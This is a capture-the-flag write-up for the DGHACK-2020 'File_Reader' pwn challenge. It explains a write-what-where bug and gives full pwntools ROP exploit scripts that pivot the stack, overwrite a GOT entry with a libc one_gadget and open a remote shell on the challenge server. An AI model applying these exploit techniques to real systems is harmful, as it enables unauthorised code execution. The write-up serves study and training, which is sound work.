© Noiche

char nick[] = "N0iche";

printf("https://www.root-me.org/%s\n", nick);

printf("%s\x40protonmail\x2ecom\n", nick);

[DGHACK-2020] - PWN - File_Reader

Dec 3, 2020 • Write-Up,DGHACK-2020,PWN

Challenge details :

CTF Challenge Category Value Solves
DGHACK-2020 File_Reader PWN 250 10

Description

Your CV is selected for a job interview at DGA MI (cybersecurity).
You must pass technical challenges to show your hardskills and your softskills.
During the technical test, you encounter a mysterious service…

URL: tcp://filereader.chall.malicecyber.com:30303/
Files: vuln (ELF) and libc.so.6

TL;DR

This x64 service isn’t displaying anything, avoiding some LIBC leak or whatever.

It simply reads two lines from stdin and convert both lines to signed integers.Once the conversion is done, a “write_what_where” function is called.

That function write the second integer as a dword somewhere in the stack with an offset, which is the first integer (32-bits).

The main() runs this code again and again as long as the input is neither “END\n” nor “\n”.

I solved the challenge using the following pattern :

  • Stack-pivot to BSS (So i could reach lower address with the write_what_where… remember, the offset is 32-bits)
  • Pull a LIBC address in RAX from the GOT using gadgets
  • Build a ROPchain to edit the address, making it point to a ONE_GADGET in the LIBC
  • Put the modified address back in the GOT, and jump in the corresponding PLT entry to trigger the ONE_GADGET
  • Enjoy the shell :)

Reverse time ;)

The binary is pretty easy to read, the challenge wasn’t taged RE afterall…

Here is an overview of the main function, I renamed the functions and the variables among others details :

main

I did the same for the other functions :

  • getline (reads a line from the user, return if “END\n” or “\n”)

getline

  • str2int (convert the user input from string to integer, keeping the sign)

str2int

  • write_32 (write the second user input somewhere via a stack pointer + the first user input as an offset)

write_32

You shall not pass

I spend a LOT of time trying to understand what way I could possibly exploit. I tried several ROPchain and ended up in front of a wall each time I thought I was closed to my desired flag…

Being completely upset, I even took a look at the LIBC version and eventually noticed that this specific version of the LIBC was using the stack instead of the heap for the _IO_FILE’s buffers, without that much protections ! This led me to some really cool documentations and write-up about File Stream Oriented Programming, a technique that i didn’t know at all.

On top of that, a weird stack pointer was present somewhere on the top of the stack… but at the end, I finally got the flag with a classic ROPchain, editing a GOT entry and jumping to it. Here is the got.plt section of the binary :

got_plt

__libc_start_main is only used at the beginning and the process wont need it again once falling in the main’s loop.

For this reason and because RelRO is not activated, we can try to get the LIBC address from the __libc_start_main’s GOT entry, edit it, and put it back to the GOT.

Creating our own way

From now on, we know that we want to get a LIBC address from the GOT and that we need to edit this address.

We need to find a way to perform this and so we need to spot some useful gadgets ! Here are the gadgets I used for the exploit :

  • 0x400883 : pop rdi;ret;
  • 0x400881 : pop rsi; pop r15; ret;
  • 0x400540 : pop rbp; ret;
  • 0x400635 : leave; ret;
  • ########
  • 0x40073e : mov rax, qword ptr [rbp - 0x18]; add rsp, 0x38; pop rbx; pop rbp; ret;
  • 0x40073b : mov dword ptr [rbp - 0x18], eax; mov rax, qword ptr [rbp - 0x18]; add rsp, 0x38; pop rbx; pop rbp; ret;
  • 0x40062f : add eax, 0x1b8; add cl, cl; ret;
  • 0x4006c9 : dec [rax+0x39]; ret;

The second group of gadgets is particularly useful since it allows us to get a wanted qword in RAX via [rbp-0x18] or to put an arbitrary dword in [RBP-0x18] ! That’s exactly what we want.

However, we need to control RBP to use these gadgets correctly ! We have a write_what_where function but we never know where we write since the position is relative to a pointer… For this reason, I decided to control the stackframe to make my life easier.

To achieve this, I used the first group of gadgets. Using these ones, we can prepare a call to getline and write main’s address where we want. It is possible to perform a stackpivot thanks to a pop rbp along with a leave, jumping to the place where we previously put the main’s address. If we do so, we control the stackframe and we fall back again in the main’s loop, allowing us to build a new ROPchain (for example, using the second group of gadgets). To sum up, this is our pattern for now :

  • prepare a call to getline, so we can write main’s address in a specific buffer
  • stackpivot to this buffer using a pop rbp and a leave gadget
  • ret2main and think about the next step !

Here is what this looks like if we write it down using python :

from pwn import *

def write(what, where):
    global io

    LSB = what & 0xffffffff
    MSB = what >> 32

    # Using "write_32", the written value is a dword but we want to write a qword
    # We need to get the MSB and the LSB of our qword and then perform 2 "write_what_where"

    if LSB > 0x80000000:
        LSB = -(0x100000000 - what_low)
    if MSB > 0x80000000:
        MSB = -(0x100000000 - what_high)

    io.sendline(str(where))
    io.sendline(str(LSB))
    io.sendline(str(where + 1))
    io.sendline(str(MSB))

def add_gadget(addr, offset=1):
    global rop_offset
    write(addr, rop_offset)
    rop_offset += 2 * offset


if __name__ == "__main__":

    #io = remote("filereader.chall.malicecyber.com", 30303)
    io = process("./vuln")

    ### Phase 1 - stack pivot to a BSS buffer / ret2main
    rop_offset = 262

    # Call to fgets -> write main() addr in the BSS buffer where we want to pivot
    add_gadget(0x0000000000400883, 2)         # pop rdi; ret;
    write(0x0000000000600cc0, rop_offset - 2) # BSS buffer start address
    add_gadget(0x0000000000400881, 3)         # pop rsi; pop r15; ret;
    write(0x0000000000000010, rop_offset - 4) # fgets input size (rsi)
    write(0x0000000000000000, rop_offset - 2) # junk (for r15)
    write(0x00000000004005d6, rop_offset)     # call to getline() --> call fgets(rdi, rsi, stdin)
    rop_offset += 2

    # Stack pivot
    add_gadget(0x0000000000400540, 2) # pop rbp; ret;
    write(0x0000000000600cb8, 276)    # wanted RSP (pop RBP; but the next gadget will be a leave;ret;)
    add_gadget(0x0000000000400635, 2) # leave; ret; (= mov rsp,rbp; pop rbp; ret;)

    # Send "END" and execute the crafted ROPchain : fgets call, stack pivot then ret2main
    log.info("Sending payload for the first phase : stack pivot / ret2main")
    io.sendline("END")
    io.sendline(p64(0x400772)) # send main() address through fgets to trigger the ret2main after the stack pivot.
                               # fgets is done, now the stack pivot happens and we are back in the main function.
                               # but with a controlled stackframe

If we run the script, we fall in the main’s loop as expected, with a controlled stackframe !

Where is my shell ?

From now on, we need to manipulate the __libc_start_main’s GOT entry to get our shell… But what’s the target ?

Using one_gadget it is easy to grab some nice gadgets that make a shell appear :

one_gadget

Well, we have our plan :

  • get __libc_start_main@got.plt + 0x18 in RBP so that qword[RBP-0x18] = __libc_start_main’s LIBC address
  • use mov rax, qword ptr [rbp - 0x18]
  • use add eax, 0x1b8 multiple times until we exceed the ONE_GADGET address
  • update RAX with __libc_start_main@got.plt - 0x39
  • use dec [rax+0x39] until we reach the ONE_GADGET
  • handle the ONE_GADGET constraint and jump to __libc_start_main@plt (calling the ONE_GADGET since we modified the GOT’s entry)
  • enjoy the shell :)

Warning : stack pivoting is usually used to jump into a larger buffer so we can build a ROPchain without having to bother about the size of the payload. In this case, we used it so we could control the stackframe and abuse the write_32 function. However, our buffer is really small, and we will need to use our add and dec gadgets a lot. For these reasons, I choosed to split my payload : I get the address from the GOT, I edit it and store it back to the GOT, I return to the main’s loop, and I go back to the first step.

This could look rough and overkill but this solution totally worked for me and I had no more time to spend on that challenge anyway…

Here is the complete payload :

#!/usr/bin/env python3

from pwn import *

def write(what, where):
    global io

    LSB = what & 0xffffffff
    MSB = what >> 32

    # Using "write_32", the written value is a dword but we want to write a qword
    # We need to get the MSB and the LSB of our qword and then perform 2 "write_what_where"

    if LSB > 0x80000000:
        LSB = -(0x100000000 - what_low)
    if MSB > 0x80000000:
        MSB = -(0x100000000 - what_high)

    io.sendline(str(where))
    io.sendline(str(LSB))
    io.sendline(str(where + 1))
    io.sendline(str(MSB))

def add_gadget(addr, offset=1):
    global rop_offset
    write(addr, rop_offset)
    rop_offset += 2 * offset


if __name__ == "__main__":

    io = remote("filereader.chall.malicecyber.com", 30303)
    #io = process("./vuln")

    ### Phase 1 - stack pivot to a BSS buffer / ret2main
    rop_offset = 262

    # Call to fgets -> write main() addr in the BSS buffer where we want to pivot
    add_gadget(0x0000000000400883, 2)         # pop rdi; ret;
    write(0x0000000000600cc0, rop_offset - 2) # BSS buffer start address
    add_gadget(0x0000000000400881, 3)         # pop rsi; pop r15; ret;
    write(0x0000000000000010, rop_offset - 4) # fgets input size (rsi)
    write(0x0000000000000000, rop_offset - 2) # junk (for r15)
    write(0x00000000004005d6, rop_offset)     # call to getline() --> call fgets(rdi, rsi, stdin)
    rop_offset += 2

    # Stack pivot
    add_gadget(0x0000000000400540, 2) # pop rbp; ret;
    write(0x0000000000600cb8, 276)    # wanted RSP (pop RBP; but the next gadget will be a leave;ret;)
    add_gadget(0x0000000000400635, 2) # leave; ret; (= mov rsp,rbp; pop rbp; ret;)

    # Send "END" and execute the crafted ROPchain : fgets call, stack pivot then ret2main
    log.info("Sending payload for the first phase : stack pivot / ret2main")
    io.sendline("END")
    io.sendline(p64(0x400772)) # send main() address through fgets to trigger the ret2main after the stack pivot.
                               # fgets is done, now the stack pivot happens and we are back in the main function.
                               # but with a controlled stackframe

    ### Phase 2 - Use a magic gadget to overwrite a GOT entry with the adress of a ONE_GADGET
    # We need a lot of operations, and the buffer is not that long
    # So we will split the payload and ret2main several times

    add_number = 60

    for i in range(5):
        rop_offset = 262

        # Prepare a ret2main for the next iteration
        write(0x0000000000400772, 260)     # write main() address in order to prepare the next ret2main

        # Get __libc_start_main's LIBC address in RAX
        add_gadget(0x0000000000400540, 2)         # pop rbp; ret;
        write(0x0000000000600c80, rop_offset - 2) # wanted RBP (__libc_start_main's GOT entry + 0x18 = 0x00600c68 + 0x18)
        add_gadget(0x000000000040073e, 10)        # mov rax, qword ptr [rbp - 0x18] ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
        write(0x0000000000000000, rop_offset - 4) # junk (for rbx)
        write(0x0000000000600c80, rop_offset - 2) # wanted RBP (__libc_start_main's GOT entry + 0x18 = 0x00600c68 + 0x18)

        if i == 4:
            add_number = 54

        # Get closer to the ONE_GADGET
        for j in range(add_number):
            add_gadget(0x000000000040062f) # add eax, 0x1b8 ; add cl, cl ; ret

        # Store the result in __libc_start_main's GOT entry so we can continue in the next iteration
        # mov dword ptr [rbp - 0x18], mov rax, qword ptr [rbp - 0x18] ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
        add_gadget(0x000000000040073b, 10)
        write(0x0000000000000000, rop_offset - 4) # junk (for rbx)
        write(0x0000000000600cb8, rop_offset - 2) # wanted RSP (pop RBP; but the next gadget will be a leave;ret;)
        add_gadget(0x0000000000400635, 2)         # leave; ret; (= mov rsp,rbp; pop rbp; ret;)

        # Send "END" and execute the crafted ROPchain.
        log.info("Sending payload for the second phase : ADD ({})".format(i))
        io.sendline("END")

    # From here, we are just a little above the wanted address to reach the ONE_GADGET
    # We have to use "dec" a little

    rop_offset = 262

    write(0x0000000000600c2f, 254)            # write __libc_start_main's GOT entry - 0x39 at rbp-0x18
    write(0x0000000000400772, 260)            # write main() address in order to prepare the next ret2main
    add_gadget(0x0000000000400540, 2)         # pop rbp; ret;
    write(0x0000000000600cc0, rop_offset - 2) # wanted RBP so that rbp-0x18 match to the "254" offset
    add_gadget(0x000000000040073e, 10)        # mov rax, qword ptr [rbp - 0x18] ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
    write(0x0000000000000000, rop_offset - 4) # junk (for rbx)
    write(0x0000000000000000, rop_offset - 2) # junk (for rbp)

    for i in range(44):
        add_gadget(0x00000000004006c9) # dec [rax+0x39]; ret;

    # Get back to main for the last time, we are ready to trigget the ONE_GADGET
    add_gadget(0x0000000000400540, 2)         # pop rbp; ret;
    write(0x0000000000600cb8, rop_offset - 2) # wanted RSP (pop RBP; but the next gadget will be a leave;ret;)
    add_gadget(0x0000000000400635, 2)         # leave; ret; (= mov rsp,rbp; pop rbp; ret;)

    # Send "END" and execute the crafted ROPchain.
    log.info("Sending payload for the second phase : DEC")
    io.sendline("END")

    ### Phase 3 - Nullify the stack to solve the ONE_GADGET constraint, and trigger the gadget

    rop_offset = 262

    write(0x00000000004004a0, rop_offset) # jump to __libc_start_main@PLT
                                          # call the ONE_GADGET from the overwritten __libc_start_main's GOT entry
    rop_offset += 2

    for i in range(20):
        write(0x0000000000000000, rop_offset)
        rop_offset += 2

    # Send "END" and enjoy the shell :D
    log.info("Sending payload for the second phase : trigger ONE_GADGET")
    io.sendline("END")

    io.sendline("id")
    io.interactive()
    io.close()

And that’s a flag !

flag

(DGhAck’s flag had no format)

Flag: ReadMyFlagg!!!!\o/